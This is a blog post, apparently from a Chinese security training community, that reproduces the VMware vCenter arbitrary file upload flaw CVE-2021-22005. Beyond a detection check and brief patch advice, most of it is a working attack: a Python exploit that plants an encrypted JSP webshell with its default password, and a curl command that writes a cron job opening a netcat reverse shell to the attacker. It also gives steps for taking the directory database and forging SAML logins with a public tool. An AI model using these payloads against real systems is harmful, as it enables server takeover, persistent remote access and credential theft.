Replication of arbitrary file upload vulnerability in VMware vCenter Server CVE-2021-22005

Posted by bing_crosby on Thu, 11 Nov 2021 01:12:36 +0100

Article source | MS08067 "WEB attack and defense" knowledge planet

Author: Taoing (Lecturer of WEB advanced vulnerability mining class)

Vulnerability description

VMware is a provider of cloud infrastructure and mobile business solutions, providing virtualization solutions based on VMware. On September 22, 2021, VMware officially issued a security announcement, disclosing multiple medium and high-risk serious vulnerabilities, including CVE-2021-22005 VMware vCenter Server arbitrary file upload vulnerability. In CVE-2021-22005, attackers can construct malicious requests and upload malicious files through the Analytics service in vCenter, causing a remote code execution vulnerability.

Vulnerability impact

For CVE-2021-22005 VMware vCenter Server arbitrary file upload vulnerability VMware vCenter Server 7.0 series < 7.0 u2c VMware vCenter Server 6.7 series < 6.7 U3O VMware vCenter Server 6.5 series is not affected by the vulnerability Other vulnerability affected versions can be referred to

https://www.vmware.com/security/advisories/VMSA-2021-0020.html Security version: VMware vCenter Server 7.0 U2c VMware vCenter Server 6.7 U3o

Environment construction

vcenter server7.0 installation

https://blog.csdn.net/Rio520/article/details/115664112

VMware-VCSA-all-7.0.0-15952498.iso

https://pan.baidu.com/share/init?surl=oW3JQWIeJoYcnbbJn8PBjw

Extraction code: x6fa

Loophole recurrence

Batch vulnerability detection poc

We can perform more relevant cURL requests for the / analytics / telecommunications / pH / API / level endpoint to identify whether your server is affected.

curl -k -v "https://$VCENTER_HOST/analytics/telemetry/ph/api/level?_c=test"

• if the server responds with 200/OK and anything other than "OFF" in the response body (such as "FULL"), it is vulnerable to attack.

• if it responds with 200/OK and "OFF" body content, it is likely that it is not vulnerable, and it has not been patched and no workaround has been applied.

• if it responds with 400/Bad Request, patch it. This check takes advantage of the fact that the patched instance will check the collector ID (_c) against the list of known / accepted collector IDs.

• if it responds with 404, it is either not applicable or a solution has been applied. This workaround disables the affected API endpoints. Any other status codes may imply that they are not applicable.

Vulnerability EXP:

python3 CVE-2021-22005_poc.py -t https://ip
import requests
import random
import string
import sys
import time
import requests
import urllib3
import argparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 
def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
 return ''.join(random.choice(chars) for _ in range(size))
  
def escape(_str):
 _str = _str.replace("&", "&amp;")
 _str = _str.replace("<", "&lt;")
 _str = _str.replace(">", "&gt;")
 _str = _str.replace("\"", "&quot;")
 return _str
  
def str_to_escaped_unicode(arg_str):
 escaped_str = ''
 for s in arg_str:
   val = ord(s)
   esc_uni = "\\u{:04x}".format(val)
   escaped_str += esc_uni
 return escaped_str
 
 
def createAgent(target, agent_name, log_param):
 
  
 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = { "Cache-Control": "max-age=0", 
       "Upgrade-Insecure-Requests": "1", 
       "User-Agent": "Mozilla/5.0", 
       "X-Deployment-Secret": "abc", 
       "Content-Type": "application/json", 
       "Connection": "close" }
       
 json_data = { "manifestSpec":{}, 
        "objectType": "a2",
        "collectionTriggerDataNeeded": True,
        "deploymentDataNeeded":True, 
        "resultNeeded": True, 
        "signalCollectionCompleted":True, 
        "localManifestPath": "a7",
        "localPayloadPath": "a8",
        "localObfuscationMapPath": "a9" }
         
 requests.post(url, headers=headers, json=json_data, verify=False)
  
 
def generate_manifest(webshell_location, webshell):
 
 manifestData = """<manifest recommendedPageSize="500">
   <request>
    <query name="vir:VCenter">
      <constraint>
       <targetType>ServiceInstance</targetType>
      </constraint>
      <propertySpec>
       <propertyNames>content.about.instanceUuid</propertyNames>
       <propertyNames>content.about.osType</propertyNames>
       <propertyNames>content.about.build</propertyNames>
       <propertyNames>content.about.version</propertyNames>
      </propertySpec>
    </query>
   </request>
   <cdfMapping>
    <indepedentResultsMapping>
      <resultSetMappings>
       <entry>
         <key>vir:VCenter</key>
         <value>
                      <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
            <resourceItemToJsonLdMapping>
             <forType>ServiceInstance</forType>
            <mappingCode><![CDATA[  
             #set($appender = $GLOBAL-logger.logger.parent.getAppender("LOGFILE"))##
             #set($orig_log = $appender.getFile())##
             #set($logger = $GLOBAL-logger.logger.parent)##  
             $appender.setFile("%s")##  
             $appender.activateOptions()## 
             $logger.warn("%s")## 
             $appender.setFile($orig_log)##  
             $appender.activateOptions()##]]>
            </mappingCode>
            </resourceItemToJsonLdMapping>
          </value>
         </value>
       </entry>
      </resultSetMappings>
    </indepedentResultsMapping>
   </cdfMapping>
   <requestSchedules>
    <schedule interval="1h">
      <queries>
       <query>vir:VCenter</query>
      </queries>
    </schedule>
   </requestSchedules>
 </manifest>""" % (webshell_location, webshell)
  
 return manifestData
 
def arg():
 parser = argparse.ArgumentParser()
 parser.add_argument("-t", "--target", help = "Target", required = True)
 args = parser.parse_args()
 target = args.target
 print("[*] Target: %s" % target)
 return target
 
def exec():
 target = arg()
 # Variables
 webshell_param = id_generator(6)
 log_param = id_generator(6)
 agent_name = id_generator(6)
 shell_name = "Server.jsp"
 webshell = """<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*The key is the first 16 bits of the 32-bit md5 value of the connection password, and the default connection password is rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>"""
 
 webshell_location = "/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/%s" % shell_name
 webshell = str_to_escaped_unicode(webshell)
 manifestData = generate_manifest(webshell_location,webshell)
 print("[*] Creating Agent")
 createAgent(target, agent_name, log_param)
 url = "%s/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=%s&_i=%s" % (target, agent_name, log_param)
 headers = {"Cache-Control": "max-age=0", 
          "Upgrade-Insecure-Requests": "1", 
          "User-Agent": "Mozilla/5.0", 
          "X-Deployment-Secret": "abc", 
          "Content-Type": "application/json", 
          "Connection": "close"}
 json_data ={"contextData": "a3", "manifestContent": manifestData, "objectId": "a2"}
 requests.post(url, headers=headers, json=json_data, verify=False)
 #webshell connection address
 url = "%s/idm/..;/%s" % (target, shell_name)
 code = requests.get(url=url, headers=headers,verify=False).status_code
 if code != "404":
   print("webshell address: %s" % url)
   print("[*]Ice scorpion 3.0 Webshell Connection password: rebeyond" )
 
 else:
   print("Not obtained webshell address")
 
 
if __name__ == '__main__':
 exec()

Rebound shell EXP:

curl -kv "https:/xx.xx.xx.xx/analytics/telemetry/ph/api/hyper/send?_c=&_i=/../../../../../../etc/cron.d/$RANDOM" -H Content-Type: -d "* * * * * root nc -e /bin/sh Your IP port"

I didn't succeed here

vCenter cookie read login:

Where to store critical authentication information data:

•Linux:

/storage/db/vmware-vmdir/data.mdb

•Windows

C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

Read cookie:

Download decryption script:

git clone https://github.com/horizon3ai/vcenter_saml_login.git

Usage:

python3 vcenter_saml_login.py -p data.mdb -t 10.1.2.174

If the prompt library file is missing, use the following method: ModuleNotFoundError: No module named 'OpenSSL' solution pip3 install pyOpenSSL ModuleNotFoundError: No module named 'ldap' solution pip3 install python-ldap ModuleNotFoundError: No module named 'signxml' solution pip3 install signxml

Repair scheme

1. Upgrade VMware vCenter Server to the latest version.

2. For CVE-2021-22005 VMware vCenter Server arbitrary file upload vulnerability, you can https://kb.vmware.com/s/article/85717 Mitigation measures.